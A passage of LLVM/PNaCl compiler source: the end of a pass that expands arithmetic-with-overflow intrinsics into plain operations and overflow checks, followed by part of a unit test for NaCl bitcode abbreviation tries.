// overflow check for C++'s new[] operator, and {sadd,ssub} are used by
// ubsan. This pass expands out these uses so that PNaCl does not have to
// support *.with.overflow as part of PNaCl's stable ABI.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/APInt.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
#define DEBUG_TYPE "expand-arith-with-overflow"
using namespace llvm;
namespace {
class ExpandArithWithOverflow : public ModulePass {
public:
static char ID;
ExpandArithWithOverflow() : ModulePass(ID) {
initializeExpandArithWithOverflowPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
char ExpandArithWithOverflow::ID = 0;
INITIALIZE_PASS(ExpandArithWithOverflow, "expand-arith-with-overflow",
"Expand out some uses of *.with.overflow intrinsics", false,
false)
enum class ExpandArith { Add, Sub, Mul };
static const ExpandArith ExpandArithOps[] = {ExpandArith::Add, ExpandArith::Sub,
ExpandArith::Mul};
static Intrinsic::ID getID(ExpandArith Op, bool Signed) {
static const Intrinsic::ID IDs[][2] = {
// Unsigned Signed
/* Add */ {Intrinsic::uadd_with_overflow, Intrinsic::sadd_with_overflow},
/* Sub */ {Intrinsic::usub_with_overflow, Intrinsic::ssub_with_overflow},
/* Mul */ {Intrinsic::umul_with_overflow, Intrinsic::smul_with_overflow},
};
return IDs[(size_t)Op][Signed];
}
static Instruction::BinaryOps getOpcode(ExpandArith Op) {
static const Instruction::BinaryOps Opcodes[] = {
Instruction::Add, Instruction::Sub, Instruction::Mul,
};
return Opcodes[(size_t)Op];
}
static Value *CreateInsertValue(IRBuilder<> *IRB, Value *StructVal,
unsigned Index, Value *Field,
Instruction *BasedOn) {
SmallVector<unsigned, 1> EVIndexes(1, Index);
return IRB->CreateInsertValue(StructVal, Field, EVIndexes,
BasedOn->getName() + ".insert");
}
static bool Expand(Module *M, unsigned Bits, ExpandArith Op, bool Signed) {
IntegerType *IntTy = IntegerType::get(M->getContext(), Bits);
SmallVector<Type *, 1> Types(1, IntTy);
Function *Intrinsic =
M->getFunction(Intrinsic::getName(getID(Op, Signed), Types));
if (!Intrinsic)
return false;
SmallVector<CallInst *, 64> Calls;
for (User *U : Intrinsic->users())
if (CallInst *Call = dyn_cast<CallInst>(U)) {
Calls.push_back(Call);
} else {
errs() << "User: " << *U << "\n";
report_fatal_error("ExpandArithWithOverflow: Taking the address of a "
"*.with.overflow intrinsic is not allowed");
}
for (CallInst *Call : Calls) {
DEBUG(dbgs() << "Expanding " << *Call << "\n");
StringRef Name = Call->getName();
Value *LHS;
Value *RHS;
Value *NonConstOperand;
ConstantInt *ConstOperand;
bool hasConstOperand;
if (ConstantInt *C = dyn_cast<ConstantInt>(Call->getArgOperand(0))) {
LHS = ConstOperand = C;
RHS = NonConstOperand = Call->getArgOperand(1);
hasConstOperand = true;
} else if (ConstantInt *C = dyn_cast<ConstantInt>(Call->getArgOperand(1))) {
LHS = NonConstOperand = Call->getArgOperand(0);
RHS = ConstOperand = C;
hasConstOperand = true;
} else {
LHS = Call->getArgOperand(0);
RHS = Call->getArgOperand(1);
hasConstOperand = false;
}
IRBuilder<> IRB(Call);
Value *ArithResult =
IRB.CreateBinOp(getOpcode(Op), LHS, RHS, Name + ".arith");
Value *OverflowResult;
if (ExpandArith::Mul == Op && hasConstOperand &&
ConstOperand->getValue() == 0) {
// Mul by zero never overflows but can divide by zero.
OverflowResult = ConstantInt::getFalse(M->getContext());
} else if (hasConstOperand && !Signed && ExpandArith::Sub != Op) {
// Unsigned add & mul with a constant operand can be optimized.
uint64_t ArgMax =
(ExpandArith::Mul == Op
? APInt::getMaxValue(Bits).udiv(ConstOperand->getValue())
: APInt::getMaxValue(Bits) - ConstOperand->getValue())
.getLimitedValue();
OverflowResult =
IRB.CreateICmp(CmpInst::ICMP_UGT, NonConstOperand,
ConstantInt::get(IntTy, ArgMax), Name + ".overflow");
} else if (ExpandArith::Mul == Op) {
// Dividing the result by one of the operands should yield the other
// operand if there was no overflow. Note that this division can't
// overflow (signed division of INT_MIN / -1 overflows but can't occur
// here), but it could divide by 0 in which case we instead divide by 1
// (this case didn't overflow).
//
// FIXME: This approach isn't optimal because it's better to perform a
// wider multiplication and mask off the result, or perform arithmetic on
// the component pieces.
auto DivOp = Signed ? Instruction::SDiv : Instruction::UDiv;
auto DenomIsZero =
IRB.CreateICmp(CmpInst::ICMP_EQ, RHS,
ConstantInt::get(RHS->getType(), 0), Name + ".iszero");
auto Denom =
IRB.CreateSelect(DenomIsZero, ConstantInt::get(RHS->getType(), 1),
RHS, Name + ".denom");
auto Div = IRB.CreateBinOp(DivOp, ArithResult, Denom, Name + ".div");
OverflowResult = IRB.CreateSelect(
DenomIsZero, ConstantInt::getFalse(M->getContext()),
IRB.CreateICmp(CmpInst::ICMP_NE, Div, LHS, Name + ".same"),
Name + ".overflow");
} else {
if (!Signed) {
switch (Op) {
case ExpandArith::Add:
// Overflow occurs if unsigned x+y < x (or y). We only need to compare
// with one of them because this is unsigned arithmetic: on overflow
// the result is smaller than both inputs, and when there's no
// overflow the result is greater than both inputs.
OverflowResult = IRB.CreateICmp(CmpInst::ICMP_ULT, ArithResult, LHS,
Name + ".overflow");
break;
case ExpandArith::Sub:
// Overflow occurs if x < y.
OverflowResult =
IRB.CreateICmp(CmpInst::ICMP_ULT, LHS, RHS, Name + ".overflow");
break;
case ExpandArith::Mul: // This is handled above.
llvm_unreachable("Unsigned variable saturating multiplication");
}
} else {
// In the signed case, we care if the sum is >127 or <-128. When looked
// at as an unsigned number, that is precisely when the sum is >= 128.
Value *PositiveTemp = IRB.CreateBinOp(
Instruction::Add, LHS,
ConstantInt::get(IntTy, APInt::getSignedMinValue(Bits) +
(ExpandArith::Sub == Op ? 1 : 0)),
Name + ".postemp");
Value *NegativeTemp = IRB.CreateBinOp(
Instruction::Add, LHS,
ConstantInt::get(IntTy, APInt::getSignedMaxValue(Bits) +
(ExpandArith::Sub == Op ? 1 : 0)),
Name + ".negtemp");
Value *PositiveCheck = IRB.CreateICmp(CmpInst::ICMP_SLT, ArithResult,
PositiveTemp, Name + ".poscheck");
Value *NegativeCheck = IRB.CreateICmp(CmpInst::ICMP_SGT, ArithResult,
NegativeTemp, Name + ".negcheck");
Value *IsPositive =
IRB.CreateICmp(CmpInst::ICMP_SGE, LHS, ConstantInt::get(IntTy, 0),
Name + ".ispos");
OverflowResult = IRB.CreateSelect(IsPositive, PositiveCheck,
NegativeCheck, Name + ".select");
}
}
// Construct the struct result.
Value *NewStruct = UndefValue::get(Call->getType());
NewStruct = CreateInsertValue(&IRB, NewStruct, 0, ArithResult, Call);
NewStruct = CreateInsertValue(&IRB, NewStruct, 1, OverflowResult, Call);
Call->replaceAllUsesWith(NewStruct);
Call->eraseFromParent();
}
Intrinsic->eraseFromParent();
return true;
}
static const unsigned MaxBits = 64;
bool ExpandArithWithOverflow::runOnModule(Module &M) {
bool Modified = false;
for (ExpandArith Op : ExpandArithOps)
for (int Signed = false; Signed <= true; ++Signed)
for (unsigned Bits = 8; Bits <= MaxBits; Bits <<= 1)
Modified |= Expand(&M, Bits, Op, Signed);
return Modified;
}
ModulePass *llvm::createExpandArithWithOverflowPass() {
return new ExpandArithWithOverflow();
}
<file_sep>/unittests/Bitcode/NaClAbbrevTrieTest.cpp
//===- llvm/unittest/Bitcode/NaClAbbrevTest.cpp - Tests for NaCl Abbrevs --===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Tests if we properly sort abbreviations when building an
// abbreviation trie.
#include "llvm/Bitcode/NaCl/AbbrevTrieNode.h"
#include "llvm/Bitcode/NaCl/NaClBitCodes.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeValueDist.h"
#include "gtest/gtest.h"
#include <iostream>
#include <sstream>
using namespace llvm;
namespace {
static const unsigned MaxValueIndex = NaClValueIndexCutoff + 1;
typedef SmallVector<NaClBitCodeAbbrev*, 32> AbbrevVector;
static void Clear(AbbrevVector &Vector) {
for (AbbrevVector::iterator Iter = Vector.begin(), IterEnd = Vector.end();
Iter != IterEnd; ++Iter) {
(*Iter)->dropRef();
}
}
static void Clear(AbbrevLookupSizeMap &LookupMap) {
for (AbbrevLookupSizeMap::iterator
Iter = LookupMap.begin(), IterEnd = LookupMap.end();
Iter != IterEnd; ++Iter) {
delete Iter->second;
}
}
static std::string DescribeAbbreviations(AbbrevVector &Abbrevs) {
std::string Message;
raw_string_ostream ostrm(Message);
for (AbbrevVector::const_iterator
Iter = Abbrevs.begin(), IterEnd = Abbrevs.end();
Iter != IterEnd; ++Iter) {
(*Iter)->Print(ostrm);
}
return ostrm.str();
}
static std::string DescribeAbbrevTrieNode(const AbbrevTrieNode *Node,
bool LocalOnly) {
std::string Message;
raw_string_ostream ostrm(Message);
if (Node)
Node->Print(ostrm, "", LocalOnly);
else
ostrm << "NULL";
return ostrm.str();
}
static std::string DescribeAbbrevTrie(const AbbrevTrieNode *Node) {
return DescribeAbbrevTrieNode(Node, false);
}
static std::string DescribeAbbrevTrieNode(const AbbrevTrieNode *Node) {
return DescribeAbbrevTrieNode(Node, true);
}
static std::string DescribeRecord(const NaClBitcodeRecordData &Record) {
std::string Message;
raw_string_ostream ostrm(Message);
Record.Print(ostrm);
return ostrm.str();
}
TEST(NaClAbbrevTrieTest, Simple) {
// Test example of multiple abbreviations of length 2.
AbbrevVector Abbrevs;
// [1, VBR(6)]
NaClBitCodeAbbrev *Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(1));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrevs.push_back(Abbrev);
// [4, VBR(8)]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(4));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbrevs.push_back(Abbrev);
// [4, 0]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(4));
Abbrev->Add(NaClBitCodeAbbrevOp(0));
Abbrevs.push_back(Abbrev);
// [1, 2]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(1));
Abbrev->Add(NaClBitCodeAbbrevOp(2));
Abbrevs.push_back(Abbrev);
// [1, 0]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(1));
Abbrev->Add(NaClBitCodeAbbrevOp(0));
Abbrevs.push_back(Abbrev);
// [VBR(6), VBR(6)]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrevs.push_back(Abbrev);
// [VBR(6), 0]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(0));
Abbrevs.push_back(Abbrev);
// Verify we built the expected abbreviations.
EXPECT_EQ(std::string(
"[1, VBR(6)]\n"
"[4, VBR(8)]\n"
"[4, 0]\n"
"[1, 2]\n"
"[1, 0]\n"
"[VBR(6), VBR(6)]\n"
"[VBR(6), 0]\n"),
DescribeAbbreviations(Abbrevs));
// Build lookup map, and check that we build the expected trie.
AbbrevLookupSizeMap LookupMap;
NaClBuildAbbrevLookupMap(LookupMap, Abbrevs);
EXPECT_EQ((size_t)1, LookupMap.size())
<< "There should only be one entry in the Lookup map "
<< "for abbreviations of length 2";
for (AbbrevLookupSizeMap::iterator
Iter = LookupMap.begin(), IterEnd = LookupMap.end();
Iter != IterEnd; ++Iter) {
EXPECT_EQ(Iter->first, (size_t)2)
<< "Expecting abbreviations to be of length 2";
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
"Successor Map:\n"
" Record.Code = 1\n"
" Abbreviations:\n"
" [1, VBR(6)] (abbrev #0)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
" Successor Map:\n"
" Record.Values[0] = 0\n"
" Abbreviations:\n"
" [1, VBR(6)] (abbrev #0)\n"
" [1, 0] (abbrev #4)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
" [VBR(6), 0] (abbrev #6)\n"
" Record.Values[0] = 2\n"
" Abbreviations:\n"
" [1, VBR(6)] (abbrev #0)\n"
" [1, 2] (abbrev #3)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
" Record.Code = 4\n"
" Abbreviations:\n"
" [4, VBR(8)] (abbrev #1)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
" Successor Map:\n"
" Record.Values[0] = 0\n"
" Abbreviations:\n"
" [4, VBR(8)] (abbrev #1)\n"
" [4, 0] (abbrev #2)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
" [VBR(6), 0] (abbrev #6)\n"
" Record.Values[0] = 0\n"
" Abbreviations:\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
" [VBR(6), 0] (abbrev #6)\n"),
DescribeAbbrevTrie(Iter->second));
}
// Test matching [1, 0].
NaClBitcodeRecordData Record;
Record.Code = 1;
Record.Values.push_back(0);
EXPECT_EQ(std::string("[1, 0]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [1, VBR(6)] (abbrev #0)\n"
" [1, 0] (abbrev #4)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
" [VBR(6), 0] (abbrev #6)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [1, 2]
Record.Values[0] = 2;
EXPECT_EQ(std::string("[1, 2]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [1, VBR(6)] (abbrev #0)\n"
" [1, 2] (abbrev #3)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test match [1, 8] (i.e. Record.Values[1] ~in {0, 2}).
Record.Values[0] = 8;
EXPECT_EQ(std::string("[1, 8]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [1, VBR(6)] (abbrev #0)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test match [4, 0]
Record.Code = 4;
Record.Values[0] = 0;
EXPECT_EQ(std::string("[4, 0]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [4, VBR(8)] (abbrev #1)\n"
" [4, 0] (abbrev #2)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
" [VBR(6), 0] (abbrev #6)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test match [4, 8] (i.e. Record.Values[1] ~in {0})
Record.Values[0] = 8;
EXPECT_EQ(std::string("[4, 8]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [4, VBR(8)] (abbrev #1)\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test match [8, 0] (i.e. Record.Code ~in {1, 4})
Record.Code = 8;
Record.Values[0] = 0;
EXPECT_EQ(std::string("[8, 0]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"
" [VBR(6), 0] (abbrev #6)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test match [7, 6] (i.e. Record.Code ~in {1, 4}
// and Record.Values[0] ~in {0})
Record.Code = 7;
Record.Values[0] = 6;
EXPECT_EQ(std::string("[7, 6]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [VBR(6), VBR(6)] (abbrev #5)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test match [1, 2, 3] (i.e no abbreviations defined).
Record.Code = 1;
Record.Values[0] = 2;
Record.Values.push_back(3);
EXPECT_EQ(std::string("[1, 2, 3]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_EQ(Node, (void*) 0);
}
Clear(Abbrevs);
Clear(LookupMap);
}
TEST(NaClAbbrevTrieTest, Array) {
// Test for variable length abbreviations, with some specific
// unwindings.
AbbrevVector Abbrevs;
// [Array(VBR(6))]
NaClBitCodeAbbrev *Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrevs.push_back(Abbrev);
// [VBR(6), VBR(6), 0, VBR(6), VBR(6)]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(0));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrevs.push_back(Abbrev);
// [8, VBR(6), VBR(6), VBR(6), VBR(6)]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(8));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrevs.push_back(Abbrev);
// [VBR(6), VBR(6), VBR(6), 0, VBR(6)]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(0));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrevs.push_back(Abbrev);
// [VBR(6), VBR(6), VBR(6), VBR(6), 3]
Abbrev = new NaClBitCodeAbbrev();
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbrev->Add(NaClBitCodeAbbrevOp(3));
Abbrevs.push_back(Abbrev);
// Verify we built the expected abbreviations.
EXPECT_EQ(std::string(
"[Array(VBR(6))]\n"
"[VBR(6), VBR(6), 0, VBR(6), VBR(6)]\n"
"[8, VBR(6), VBR(6), VBR(6), VBR(6)]\n"
"[VBR(6), VBR(6), VBR(6), 0, VBR(6)]\n"
"[VBR(6), VBR(6), VBR(6), VBR(6), 3]\n"),
DescribeAbbreviations(Abbrevs));
// Build lookup map, and check that we build the expected trie.
AbbrevLookupSizeMap LookupMap;
NaClBuildAbbrevLookupMap(LookupMap, Abbrevs);
EXPECT_EQ(MaxValueIndex+1, LookupMap.size());
for (AbbrevLookupSizeMap::iterator
Iter = LookupMap.begin(), IterEnd = LookupMap.end();
Iter != IterEnd; ++Iter) {
EXPECT_LE((size_t)0, Iter->first);
EXPECT_GE(MaxValueIndex, Iter->first);
if (Iter->first == 5) {
// Note that all abbreviations accept records with 5 values.
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
"Successor Map:\n"
" Record.Code = 8\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" Successor Map:\n"
" Record.Values[1] = 0\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" Successor Map:\n"
" Record.Values[2] = 0\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" Successor Map:\n"
" Record.Values[3] = 3\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"
" Record.Values[3] = 3\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"
" Record.Values[2] = 0\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" Successor Map:\n"
" Record.Values[3] = 3\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"
" Record.Values[3] = 3\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"
" Record.Values[1] = 0\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" Successor Map:\n"
" Record.Values[2] = 0\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" Successor Map:\n"
" Record.Values[3] = 3\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"
" Record.Values[3] = 3\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"
" Record.Values[2] = 0\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" Successor Map:\n"
" Record.Values[3] = 3\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"
" Record.Values[3] = 3\n"
" Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"),
DescribeAbbrevTrie(Iter->second));
} else {
// When the record doesn't contain 5 values, only
// abbreviation [Array(VBR(6))] applies.
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"),
DescribeAbbrevTrie(Iter->second));
}
}
// Test matching [8, 10, 0, 0, 3].
NaClBitcodeRecordData Record;
Record.Code = 8;
Record.Values.push_back(10);
Record.Values.push_back(0);
Record.Values.push_back(0);
Record.Values.push_back(3);
EXPECT_EQ(std::string("[8, 10, 0, 0, 3]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [8, 10, 0, 11, 3].
Record.Values[2] = 11;
EXPECT_EQ(std::string("[8, 10, 0, 11, 3]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [8, 10, 0, 11, 12].
Record.Values[3] = 12;
EXPECT_EQ(std::string("[8, 10, 0, 11, 12]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [8, VBR(6), VBR(6), VBR(6), VBR(6)] (abbrev #2)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [13, 10, 0, 0, 3].
Record.Code = 13;
Record.Values[2] = 0;
Record.Values[3] = 3;
EXPECT_EQ(std::string("[13, 10, 0, 0, 3]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"
" [VBR(6), VBR(6), VBR(6), VBR(6), 3] (abbrev #4)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [13, 10, 0, 0, 14].
Record.Values[3] = 14;
EXPECT_EQ(std::string("[13, 10, 0, 0, 14]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
" [VBR(6), VBR(6), 0, VBR(6), VBR(6)] (abbrev #1)\n"
" [VBR(6), VBR(6), VBR(6), 0, VBR(6)] (abbrev #3)\n"),
DescribeAbbrevTrieNode(Node->MatchRecord(Record)));
}
// Test matching [13, 10, 0, 15, 3].
Record.Values[2] = 15;
Record.Values[3] = 3;
EXPECT_EQ(std::string("[13, 10, 0, 15, 3]"), DescribeRecord(Record));
{
AbbrevTrieNode *Node = LookupMap[Record.Values.size()+1];
ASSERT_NE(Node, (void*) 0);
EXPECT_EQ(std::string(
"Abbreviations:\n"
" [Array(VBR(6))] (abbrev #0)\n"
